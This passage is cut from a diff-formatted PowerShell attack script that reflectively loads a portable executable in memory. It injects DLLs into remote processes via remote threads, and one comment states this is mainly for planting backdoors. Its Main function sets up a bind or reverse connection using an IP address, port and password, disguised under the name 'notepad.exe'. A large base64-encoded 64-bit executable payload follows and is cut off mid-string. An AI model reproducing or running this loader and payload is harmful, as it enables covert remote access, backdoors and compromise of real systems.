[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + if ($OutputPtr -eq [IntPtr]::Zero) + { + Throw "Unable to get output, Output Ptr is NULL" + } + else + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + $Win32Functions.LocalFree.Invoke($OutputPtr); + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + $ExeArgs = "" + + if ($ConType -eq "bind") + { + $ExeArgs = "notepad.exe bind $Port $Password" + } + elseif ($ConType -eq "reverse") + { + $ExeArgs = "notepad.exe $IpAddress $Port $Password" + } + else + { + Write-Verbose "Wrong connection type" + } + + + + [System.IO.Directory]::SetCurrentDirectory($pwd) + +$PEBytes64 = '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